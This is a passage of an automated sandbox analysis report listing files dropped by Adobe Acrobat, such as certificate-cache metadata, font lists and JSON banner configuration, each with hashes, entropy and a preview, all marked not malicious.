Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.732136534099206
Encrypted:	false
SSDEEP:	3:kkFkl2XhfllXlE/HT8kFhvNNX8RolJuRdxLlGB9lQRYwpDdt:kKvqT8KVNMa8RdWBwRd
MD5:	F935D0111024F0B0C83A4FD109E67B40
SHA1:	0016CEC56AEF910F0C855FDA7B36F328B5A68140
SHA-256:	C0FEF0C5F5CE53BA01DAE2AC913674840A917996B11BA8DB07BCE0F8C945E28E
SHA-512:	FA3760723DC3839F28798EDBE43A0E24FA103FC218E09B6EAD3ED90E0F692A0889030451F4DF0A9049E9F70A995101E5F528DD7A141A54361454DBC8B86923D6
Malicious:	false
Preview:	p...... .........t...g..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.253995428229512
Encrypted:	false
SSDEEP:	6:kKFJF9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:dWDImsLNkPlE99SNxAhUe/3
MD5:	38128C60DDB2B876015470850C95ACBD
SHA1:	8AB04E40520AAB74A0CB818C0589A5EA6259D492
SHA-256:	B07D9C20BC7ECEC8EE9B218CEC6D3CD5C9D75A7791AF0B03B50E42DB227B0F9C
SHA-512:	2ACBFB0E265EA0E1B0DC4F6E4B06AAA8DDB0E9E7B0E8531A2CECF910FDFE05050D42A6B12381E214A981DA8BB24B6D65249FA637B1D6BEFC9C378E56F2CA615B
Malicious:	false
Preview:	p...... ............g..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6548

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6548

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.365828075419469
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzNHNyzUvnZiQ0Yt9xxoAvJM3g98kUwPeUkwRe9:YvXKXRNBvcEGGMbLUkee9
MD5:	A09251FCD0BA36DF72C882E0E7476F39
SHA1:	DD62DCC8989ACFD9DEC49FE1C42EC487826AB249
SHA-256:	F3643DE9F38BA8F14B4874304A60867A828C6E14EDC2F79F2A33D36D9DCC0A53
SHA-512:	61C7F26AE5A469F327FE2F5C909EFD7EFE13B951109842B36DEBA5C1AB3B667D1E0F4DC66DA06567D803DCF83241E9242660F409C47E3B600DE707A889203EBF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c7b2fc3b-4987-478e-be27-9ddf37cb496b","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1737148694387,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.3177976396841995
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzNHNyzUvnZiQ0Yt9xxoAvJfBoTfXpnrPeUkwRe9:YvXKXRNBvcEGGWTfXcUkee9
MD5:	8D02A45C2C08F142D4AB945565A27586
SHA1:	B1F25292EFFBF2501D8AC06A9D97554E8CF5CE0F
SHA-256:	D92F7B92A9A424A04D2F6441516B4215B383ABCBEFD5D209F0DAEEEDAA9C7827
SHA-512:	01425EF1E5F609BF7CF3110042552943B80960EBA3D174A5DE0C7554778A4152167386D5E69F6BF3B2DA2C53DBDDD4DE3547B78731C4E5FC09C10BAF41DFD1F6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c7b2fc3b-4987-478e-be27-9ddf37cb496b","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1737148694387,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.295936554429467
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzNHNyzUvnZiQ0Yt9xxoAvJfBD2G6UpnrPeUkwRe9:YvXKXRNBvcEGGR22cUkee9
MD5:	826F99A89300F3A16F3660204252D006
SHA1:	27DA95337D4D4F3AE1F60DD7FD631F3341CB965B
SHA-256:	535A95274C4399ABFD4AE83668AFE865713E96774668B80625C1208A2B013C37
SHA-512:	E21E36C688645E72B591B2ED2B2408291CD1FD4D3CC74DDE3D1D05A9E0840070A30FFA747681D91A42F0235743814B3F499115AFF4681549492A4CA62BF2282D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c7b2fc3b-4987-478e-be27-9ddf37cb496b","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1737148694387,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.345937131402784
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzNHNyzUvnZiQ0Yt9xxoAvJfPmwrPeUkwRe9:YvXKXRNBvcEGGH56Ukee9
MD5:	A4DD4205364734948D7149F2CF92B5B0
SHA1:	D30DCC49AA34AD1C8EF6C28DFBD452EBC92FB188
SHA-256:	29C6ACF433D63059DA10728460B7FE278F4256D5DFC24ACAB655FF0D565E7892
SHA-512:	16545CEF2E9ECD5719E97C4F86ED9416F1A1E6023F25002E4B61EB7325310B76C3B60278FE734ECB640FC2A4C2519EAF0908CEF6465398628F7F297B6722DD26
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c7b2fc3b-4987-478e-be27-9ddf37cb496b","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1737148694387,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.690115083936207
Encrypted:	false
SSDEEP:	24:Yv6XBUETpLgE9cQx8LennAvzBvkn0RCmK8czOCCSP:Yvuhgy6SAFv5Ah8cv/P
MD5:	F95281A5297B16E0207B1F80E220D19E
SHA1:	182E833A6E7ABBFFFB49FD429D336CC32237C5FA
SHA-256:	0FE968505EBFD0A0F86EF83D7497C31CA404528BD24D377F60B5BDA5F9DFEB23
SHA-512:	64CFAC6A306B48ECA673BAC0BBA505B68FBE28DB3D5AA611B7BD1C768BCA925208128930422810AF0DE8E5E71B31A70A758BC3EE87DDD34B3CB9FCAAC441D199
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c7b2fc3b-4987-478e-be27-9ddf37cb496b","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1737148694387,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2957797413218515
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzNHNyzUvnZiQ0Yt9xxoAvJf8dPeUkwRe9:YvXKXRNBvcEGGU8Ukee9
MD5:	28BC041CB09A518F6B714907DF76A8A9
SHA1:	2C614A703CA9794E35111FE0653FA069A5831646
SHA-256:	769BE750479DCB196ECE76C41A06A05B8FD9F627617F3F584562AFB7AF8B4340
SHA-512:	C34DB4120D8337B0C92D548160A96C5B92EE6CB031F090DFFDA7C4B0D69CAA46F6325DF690BD434279DDECCBB04C6586AC7BA0504A101851019C86937288D6C8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c7b2fc3b-4987-478e-be27-9ddf37cb496b","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1737148694387,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.297836728054062
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzNHNyzUvnZiQ0Yt9xxoAvJfQ1rPeUkwRe9:YvXKXRNBvcEGGY16Ukee9
MD5:	AA2DE8AB3EABFA9A39039CF591B90443
SHA1:	9A98569B9E6F83AA1400313023397BEDD08EBD61
SHA-256:	5EB873D2E42674F7B4224945AE7C7FD9039AB9923F9FDE22E43C04A16133C84E
SHA-512:	681F2510289FC5B7F7192ACCF85AAF1E206AE07A12EEB0DB03F22F915B231ADCCF5C11C710CB6257C22B47AA9CB5FC2059B37DC12EEFA75B909FA621E64685F1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c7b2fc3b-4987-478e-be27-9ddf37cb496b","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1737148694387,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.306718727586192
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzNHNyzUvnZiQ0Yt9xxoAvJfFldPeUkwRe9:YvXKXRNBvcEGGz8Ukee9
MD5:	0B00B39B6E577C79EE5DD26C62F8F30A
SHA1:	626A9E8AFB8F7DAAA1A642AACEC62F24813A3B55
SHA-256:	A5A59B8A1724E809569B056FF58C878DC4AA445444779CC56E06D8193F051A6D
SHA-512:	F8239189DF1709C22B00B20C810FE7A0286E0CFA1094AF1D9F3A4C08CC1DE34D4DD30649E86B49081492DEF1333981D7E338EDDB7F755BA413B1211328CC9583
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c7b2fc3b-4987-478e-be27-9ddf37cb496b","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1737148694387,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.323581045678358
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzNHNyzUvnZiQ0Yt9xxoAvJfzdPeUkwRe9:YvXKXRNBvcEGGb8Ukee9
MD5:	DAFCA60900A7F6BE4712A637A63B6064
SHA1:	E7D37C8F2CFDA630C4BB5E642E07F2AB0DF52D2A
SHA-256:	03904AF617F9BBC876FF45F9754452208A6C82F4CD5E8004F9BDBEB671702FCF
SHA-512:	564512D4FD7C0601F551C53BC4684EF8762DD6521DC0F38F81E755CB2BBE020BA7F7CD21C59883F476B7A03712F1D7473398529FE6E2CADC808B7CDD9C43A0A6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c7b2fc3b-4987-478e-be27-9ddf37cb496b","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1737148694387,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.303706324402651
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzNHNyzUvnZiQ0Yt9xxoAvJfYdPeUkwRe9:YvXKXRNBvcEGGg8Ukee9
MD5:	2AC768BE9B2AF03CA1830B15F92FA26A
SHA1:	60C3388B03B053C8B6783065D1AB27DA5FFE5F71
SHA-256:	CD08A8A68D8F35524C8E6B2120C5755258EF31834092A69FC7177B76EB3FE730
SHA-512:	CB8E7439D2B6853653EAAB5428739682044E6A4973F9407D2906134F61EF6052A799F1BE60D202D3CDF7C1808490EFF767036CFEA06301F6D309E6D4ABD3554C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c7b2fc3b-4987-478e-be27-9ddf37cb496b","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1737148694387,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.2901209403433525
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzNHNyzUvnZiQ0Yt9xxoAvJf+dPeUkwRe9:YvXKXRNBvcEGG28Ukee9
MD5:	88E8F68DA4390A7E5E26592990331EDF
SHA1:	D2FE9C8D83DDCADF1319C81E9D24097B591580F7
SHA-256:	A8696C685C5F41F4E3557A2F5FA254AB836CE8E22705C15ECBF8B42EF1093982
SHA-512:	F3B685987E1A272C2598587975D3180FE16038D385B9AC2A36486BAF432379CF198995195970356605E1ED40D04748DF9D1767276705B28B1053C8109C4F0E67
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c7b2fc3b-4987-478e-be27-9ddf37cb496b","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1737148694387,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.287227949056565
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzNHNyzUvnZiQ0Yt9xxoAvJfbPtdPeUkwRe9:YvXKXRNBvcEGGDV8Ukee9
MD5:	A31C34591C06D2BE374B828AD234A26C
SHA1:	E8D4AE91F76CD851FE9C15995069CDCEA9EDB19B
SHA-256:	365222A81107ABE6BD17F8A231238D25CB81E224E994631189FB92C33CABA075
SHA-512:	BF5DF2102819B1CD9F1732B9062439EC6CC5840AA96EFF7A1243DA5207781F9B229A428A04FBA1A58D41BE1CFAE8BCD39480525555BA93C48980A9EBE01A5191
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c7b2fc3b-4987-478e-be27-9ddf37cb496b","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1737148694387,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.290010820344344
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzNHNyzUvnZiQ0Yt9xxoAvJf21rPeUkwRe9:YvXKXRNBvcEGG+16Ukee9
MD5:	E23447A8C49A43094CB87C9B9217A803
SHA1:	6175C7B277D2EB7DAF901B08A1A529A820A8EBC1
SHA-256:	0C0E5C5712559551DDE8B86215C9308D2A9BBBDC885E40C80BD6C28A76CC7C43
SHA-512:	E7750977BE2BCBAD17F07EDC34A7585F698EF56863BE7E77B1CA2587D45C0F865F63CC73236BF3FA6FDC2323F04B6F343F51635534AECDC9AF83480DB0935963
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c7b2fc3b-4987-478e-be27-9ddf37cb496b","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1737148694387,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.6683424007186485
